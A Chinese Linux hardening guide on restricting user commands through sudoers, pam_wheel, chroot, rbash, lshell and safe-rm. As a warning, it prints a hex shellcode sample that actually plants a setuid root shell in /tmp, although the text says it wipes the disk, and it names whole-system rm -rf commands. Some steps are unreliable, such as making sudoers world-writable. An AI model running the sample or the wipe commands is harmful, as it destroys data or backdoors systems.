一、背景
在生产实际中,常常会因为某些安全要求,需要对linux系统限制用户执行权限过大的命令或较敏感的,因此,如何限制系统的某些功能,限制linux系统下用户可执行的命令,将是一件安全日常不断需要深入研究的事,本文主要从几个方面,整理相关限制命令执行的方法,以供日常安全运维参考;
二、操作(未完待续)
1、禁用普通用户su到root
1)禁止非WHEEL用户使用SU命令
编辑su配置文件:vi /etc/pam.d/su
,开启:
auth required /lib/security/$ISA/pam_wheel.so use_uid //即要求wheel组的用户才可执行su,只有usermod -G wheel 用户,才可su;
auth required pam_wheel.so use_uid
修改/etc/login.defs文件:
echo “SU_WHEEL_ONLY yes” >> /etc/login.defs //普通用户登录,shell限制
修改默认的su的wheel组:vi /etc/pam.d/su
文件
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel //可将wheel替换为其他组
2、禁用普通用户执行某些命令
vim /etc/sudoers
#此文件权限默认440,修改的时候需要先改成777,修改后再改回440,否则报错,建议使用visudo编辑
#文末追加
Cmnd_Alias USERADMINCMNDS =!/usr/bin/passwd, !/usr/bin/passwd root, !/usr/bin/passwd root --stdin #
monitor ALL=(ALL:ALL) ALL,USERADMINCMNDS,!/bin/su,!/bin/bash,!/usr/bin/su,!/usr/bin/rm ##第一个monitor是用户账号 第二列的ALL是登陆者的来源主机名,第三列=(ALL)是代表可以切换身份,第四列ALL是可执行的命令.
#禁用su
Cmnd_Alias DISABLE_SU=/bin/su
普通用户 ALL=(ALL:ALL) NOPASSWD:ALL,!DISABLE_SU #验证,系统应返回如下错误消息: “Sorry. user xxx is not allowed to execute "/bin/su’ as root on hostname.”.
%admin ALL=(ALL) ALL, !DISABLE SU #admin组用户禁用su
#允许执行指定命令,用root的身份免密来运行/usr/bin/passwd,/bin/su,/usr/bin/rz
monitor ALL=(root) NOPASSWD:/usr/bin/passwd,NOPASSWD:/bin/su,NOPASSWD:/usr/bin/rz #!/bin/su
#比对
admin ALL=(root) NOPASSWD:/usr/bin/*,NOPASSWD:!/bin/su,NOPASSWD:/sbin/*,NOPASSWD:/bin/* #不影响
#下面会显示sudo su报错:xx is not allowed to execute '/bin/su' as root on
admin ALL=(root) NOPASSWD:/usr/bin/*,NOPASSWD:/sbin/*,NOPASSWD:/bin/*,NOPASSWD:!/bin/su
#允许sudo su
monitor ALL=(ALL) /usr/bin/sudo,/bin/su,/usr/bin/passwd,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root
说明:
sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
su:没有时间限制。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。
当s权限在文件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为Set UID,简称为SUID的特殊权限,即当执行该文件时将具有该文件所有者的权限。使一个目录既能够让任何用户写入文档,又不让用户删除这个目录下他人的文档,sticky就是能起到这个作用。stciky一般只用在目录上,用在文档上起不到什么作用(如/home,权限为1777)任何的用户都能够在这个目录下创建文档,但只能删除自己创建的文档)。
方式2:使用chroot或限制Shell:通过将用户限制在chroot环境中,可以限制他们执行的命令范围;可以使用特定的Shell,如rbash或者lshell,来限制用户执行的命令。
1、chroot环境可以创建一个受限制的文件系统环境,其中普通用户只能访问和执行指定的命令和文件。
通过在chroot环境中提供有限的命令和文件,可以限制普通用户的活动范围。这通常需要将必需的命令和库文件复制到chroot环境中,可以确保用户只能访问这些命令和文件。
2、可以使用特定的Shell来限制用户可以执行的命令。例如,可以使用rbash(restricted bash)来限制用户的活动范围。rbash会限制用户只能执行指定的命令,而其他命令则会被禁止。另一个选择是使用lshell,它是一个限制Shell,可以通过配置文件来限制用户可以执行的命令和活动范围。
useradd developer
echo '123456' | passwd --stdin developer
mkdir /mychroot
mkdir ./{dev,etc,bin,lib64,home}
sudo cp /usr/bin/ls /usr/bin/cat /lib /lib64 /bin/bash /etc/passwd /etc/group /mychroot #或
#对于其他命令也一样,利用如下将依赖的文件拷贝到lib目录下
for i in `ldd /bin/bash | awk '{print $3}'| grep '^/lib'`;do cp -v $i $chroot/lib64/;done
for i in `ldd /bin/bash | awk '{print $1}'| grep '^/lib'`;do cp -v $i $chroot/lib64/;done
ldd /usr/bin/ls
cd ./dev
dev
mknod -m 666 null c 1 3
mknod -m 666 tty c 5 0
mknod -m 666 zero c 1 5
mknod -m 666 random c 1 8
sudo chroot /mychroot
vim /etc/ssh/sshd_config #修改如下
Match User developer
ChrootDirectory /mychroot
Subsystem sftp internal-sftp /usr/libexec/openssh/sftp-server
systemctl restart sshd
#脚本示例
#!/bin/bash
cmdlist="/bin/bash /bin/ls /bin/cp /bin/mkdir /bin/mv /bin/rm /bin/rmdir /usr/bin/ssh /usr/bin/id"
# chroot路径
chroot_path="/mychroot"
# 判断依赖的库文件
lib_1=`ldd $cmdlist | awk '{ print $1 }' | grep "/lib" | sort | uniq`
lib_2=`ldd $cmdlist | awk '{ print $3 }' | grep "/lib" | sort | uniq`
# 复制命令文件
for i in $cmdlist
do
if [ ! -d `dirname ${chroot_path}$i` ];then
mkdir -p `dirname ${chroot_path}$i`
fi
cp -a $i ${chroot_path}$i && echo "$i done"
done
# 复制依赖的库文件(因为是i386,所以是lib,如果是x86_64,则是lib64,)
for j in $lib_1
do
if [ ! -d `dirname ${chroot_path}$j` ];then
mkdir -p `dirname ${chroot_path}$j`
fi
cp -f $j ${chroot_path}$j && echo "$j done"
done
for k in $lib_2
do
if [ ! -d `dirname ${chroot_path}$k` ];then
mkdir -p `dirname ${chroot_path}$k`
fi
cp -f $k ${chroot_path}$k && echo "$k done"
done
#限制shell
yum install lshell
cp /bin/bash /bin/rbash
bash -c 'echo "/bin/rbash" >> /etc/shells'
useradd -s /bin/rbash developer #或
sudo chsh -s /bin/rbash developer
mkdir -p /home/developer/.bin
sudo ln -s /bin/ls /home/developer/.bin/
sudo ln -s /bin/cat /home/developer/.bin
vim /home/developer/.bashrc #添加export PATH=$HOME/.bin/. ,首行需以# .bashrc开头
#脚本示例
#!/bin/bash
# rbash脚本
create_user()
{
if [ ! -f "/bin/rbash" ];then
ln -s /bin/bash /bin/rbash
fi
count=`cat /etc/shells | grep /bin/rbash | wc -l`
if [ $count -eq 0 ];then
bash -c 'echo "/bin/rbash" >> /etc/shells'
fi
count=`cat /etc/passwd | grep $user | wc -l`
if [ $count != 0 ];then
# -n参数, 不换行输出
echo -n "[ The user already exists, modify the shell? ] "
read flag
if [ $flag == "y" ];then
chsh -s /bin/rbash $user
fi
else
aa=`openssl passwd -1 $password`
useradd -s /bin/rbash -p $aa -d /home/$user $user
fi
if [ ! -d "/home/$user/bin" ];then
mkdir -p /home/$user/bin
fi
}
# 添加相应的命令的软连接
add_command()
{
for i in $com;do
count=`ls /home/$user/bin/ | grep "$i" | wc -l`
if [ $count -eq 0 ];then
path=`which $i`
ln -s $path /home/$user/bin/$i
fi
done
}
bash_profile()
{
echo "export PATH=/home/$user/bin/" >> /home/$user/.bashrc
}
info()
{
echo "Restricted Rbash!" > /etc/motd
}
clear_history()
{
# 清空历史记录
echo "" > ~/.bash_history
history -c
}
p_v()
{
if [ $UID != 0 ];then
echo "You need to be root to perform this command."
exit 1
fi
if [ "$user" == "" ];then
echo "Please enter user name."
exit 1
fi
if [ "$password" == "" ];then
echo "Please enter user password."
exit 1
fi
}
user=$1
password=$2
main()
{
# 允许的命令, 用空格进行分隔
# cd命令在rbash上是受限的, 建立软连接也不能执行
com="ifconfig ip ls"
p_v
# 如果用户已存在注释create_user和bash_profile
create_user
add_command
bash_profile
# info
clear_history
}
main
#lshell方式
vim /etc/lshell.conf
[default]
allowed = /bin/ls, /bin/cat
forbidden = *, !/bin/ls, !/bin/cat
chown root:root /etc/lshell.conf
chmod 644 /etc/lshell.conf
echo "source /etc/lshell.conf" | sudo tee -a /home/testuser/.lshellrc
方式3:使用AppArmor或SELinux:这些安全模块可以帮助限制用户对系统资源的访问,包括限制用户执行特定命令的权限。
3、禁用root执行某些命令和授权sudo
1)禁止授权普通用户sudo:
chmod u+w /etc/sudoers
2)vi /etc/sudoers 或visudo,编辑sudoers文件,找到以下行:
xxx ALL = (ALL) ALL ## 将xxx替换为允许sudo的普通用户名,后面ALL替换为限制sudo执行的命令;
还可以为每个用户建立特定sudo策略文件,在/etc/sudoers.d/目录下建立与用户同名的策略文件:
visudo -f /etc/sudoers.d/blue,写入:
blue ALL=/usr/bin/, !/usr/bin/passwd, /bin/, !/bin/kill ##不可杀进程和修改密码
#说明: xxx ALL = (ALL) ALL
xxx:这是被授权使用 sudo 的用户名或组名。如果你想为一个特定的用户授权,就使用该用户的用户名替代 xxx。如果你想为一个组授权,可以使用组名,如 %wheel。
ALL:这指定了 xxx 可以在哪台机器上使用 sudo。在这个上下文中,ALL 表示 xxx 可以在所有主机上使用 sudo。
=:这个等号是 sudoers 文件中用来指定命令别名或特定的命令的。
ALL(第一个 ALL):这指定了 xxx 可以以哪个用户的身份执行命令。这里 ALL 表示 xxx 可以以任何用户的身份执行命令。
ALL(第二个 ALL):这指定了 xxx 可以执行哪些命令。在这里,ALL 表示 xxx 可以执行所有命令。
3)限制root执行某些命令
相关实践采用safe-rm代替,结合用 rm -rfi 替代rm -rf,默认不要修改家目录下.bashrc里的rm别名;
wget https://launchpad.net/safe-rm/trunk/0.12/+download/safe-rm-0.12.tar.gz
tar -zxvf safe-rm-0.12.tar.gz
#进入目录
cd safe-rm-0.12
#复制safe-rm 文件到 /usr/local/bin
cp safe-rm /usr/local/bin/
#替代rm
ln -s /usr/local/bin/safe-rm /usr/local/bin/rm
vi /etc/profile #增加一条:
export PATH=/usr/local/bin:$PATH
#使环境变量生效
source /etc/profile
#设置保护目录名单
vi /usr/local/bin/safe-rm #配置如下
my %default_protected_dirs = (
'/bin' => 1,
'/boot' => 1,
'/dev' => 1,
'/etc' => 1,
'/home' => 1,
'/initrd' => 1,
'/lib' => 1,
'/lib32' => 1,
'/lib64' => 1,
'/proc' => 1,
'/root' => 1,
'/sbin' => 1,
'/sys' => 1,
'/usr' => 1,
'/usr/bin' => 1,
'/usr/include' => 1,
'/usr/lib' => 1,
'/usr/local' => 1,
'/usr/local/bin' => 1,
'/usr/local/include' => 1,
'/usr/local/sbin' => 1,
'/usr/local/share' => 1,
'/usr/local/rm_test' => 1,
);
rm -rf的炸弹模式:如下所示,它是以十六进制隐藏的命令,这种在这里插入代码片
隐藏很具有欺骗性。在终端中运行以下代码将擦除根分区,故不要编译或者运行来自未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
注:相关实践表明,rm -rf / 会被OS当做危险操作拒绝执行的;即服务器不会执行rm -fr /命令,只会提示这是一个危险操作,但操作也还是要谨慎;其上删库跑路的两个命令:rm -fr --no-preserve-root /或rm -fr /*,严禁执行;root权限执行删库跑路,恢复的希望基本无,需及时umount掉/或直接从其他救援盘引导,从block恢复;非root权限删库跑路只会删除掉自己创建的文件,对服务器和其他用户无影响。虽然下图大部分发行版有这种保护功能,但老版本可能就没有,还是得小心。
MV方式替代,需要编写脚本,实体如下:
#!bin/sh
trash_dir=/trash/`date +%Y%m%d` #自己创建的文件夹的路径
if [ ! -d ${trash_dir} ] ;then
mkdir -p ${trash_dir}
fi
for i in $*
do
suffix=`date "+%H%M%S"` #会在原文件后面增加时间,然后mv到回收站,解决同名文件频繁删除会引起覆盖提示或提示目标非空
if [ ! -d "${i}" ]&&[ ! -f "${i}" ];then #首先判断是否是合法的文件或者文件夹
if [ "${i}" != "-rf" ];then #这里对-rf进行处理,因为mv指令后面没有-rf参数
echo "[${i}] do not exist"
fi
else
file_name=`basename $i` #取得文件名称
mv ${i} ${trash_dir}/${file_name}_${suffix}_${RANDOM}
echo "[${i}] delete completed"
fi
done
清空回收站:
#!bin/sh
trashdir=/trash
cd ${trashdir}
find ./ -mtime +3 -exec 'rm' -rf {} \; #找到回收站中修改日期大于3天的文件,执行真正的删除;rm被封装后,带引号的’rm’执行的是真正的删除
#别名替换:修改/etc/bashrc和~/.bashrc,保存后source生效
alias rm='sh /home/shell/changerm.sh'
#定时清理
crontab -e #在里边加入:
00 22 * * * sh /home/shell/cleartrash.sh #每天22:00执行清理回收站的脚本
service crond restart #重启crond服务使之生效:
crontab -l #验证
另外注意,要删除一个目录下的所有内容,不要使用rm -rf ./*
,更进一步地,不要使用 ./*
来引用当前目录下的所有文件,直接使用 *
即可,这样可以避免写成 /*
或者 / *
这样的悲剧发生。另外注意'rm' -rf {} \
避免写成'rm' -rf {} /;
4)禁用内部命令
root下执行help可查看内部命令,然后执行:enable -n 要禁止的命令
,可以禁止;如果再启用,只需执行enable 要启用的命令;
5)禁用history
history命令配置时间戳:# export HISTTIMEFORMAT=‘%F %T ’
查看:# export HISTTIMEFORMAT=’%F %T ’ # history | more
控制历史命令记录的总行数:vi ~/.bash_profile,修改:HISTSIZE=450 HISTFILESIZE=450
强制 history 不记住特定的命令:# export HISTCONTROL=ignorespace //在不想被记住的命令前面输入一个空格
禁用 history: # export HISTSIZE=0
4、禁用ssh登录执行某些命令
#编辑~/.ssh/authorized_keys,在前面加上语句:
command="bash --restricted --noprofile --rcfile$HOME/.stricted_profile" ssh-rsa…… #使用restricted模式,并且不加载系统默认的profile文件,而加载我们定义的profile文件$HOME/.stricted_profile。上面添加command参数一定是在一个主机行的前面,每添加一台主机,需要添加一行。
vim $HOME/.stricted_profile文件 #内容如下
PATH=${HOME}/bin
export PATH
#配置允许ssh登录可执行的命令
mkdir $HOME/bin
ln -s /usr/bin/ssh $HOME/bin/ #当登陆这台机器的时候,除了ssh 命令,不能使用其他任何命令
5、禁用scp和sftp
rpm -qa|grep openssh-*
yum remove openssh-clients -y
#禁止sftp
vi /etc/ssh/sshd.config
Subsystem sftp /usr/libexec/openssh/sftp-server #注释掉
mv /usr/lib/sftp-server /usr/lib/
6、禁止执行rm -rf /*
利用工具afe-rm,安装后替换系统命令rm;
下载地址:https://launchpad.net/safe-rm/+download;
下载:wget https://launchpad.net/safe-rm/trunk/1.1.0/+download/safe-rm-1.1.0.tar.gz
tar -zxvf safe-rm-1.1.0.tar.gz # 将safe-rm命令复制到系统的/usr/local/bin目录
cp safe-rm-1.1.0/safe-rm /usr/local/bin/
ln -s /usr/local/bin/safe-rm /usr/local/bin/rm # 创建软链接,用safe-rm替换rm,如果有问题,请检查环境变量PATH,是否包含/usr/local/bin路径
设置过滤目录:
编辑:vi /etc/safe-rm.conf 文件,添加需要过滤的目录即可,一行一个,而且应满足递归原则;格式:
/ 代表过滤 目录/
./* 代表过滤 目录/ 下面的所有文件
递归过滤示例(这样/root/blue/students各级目录都会受到保护):
/
/root
/root/blue
/root/blue/students
示例2: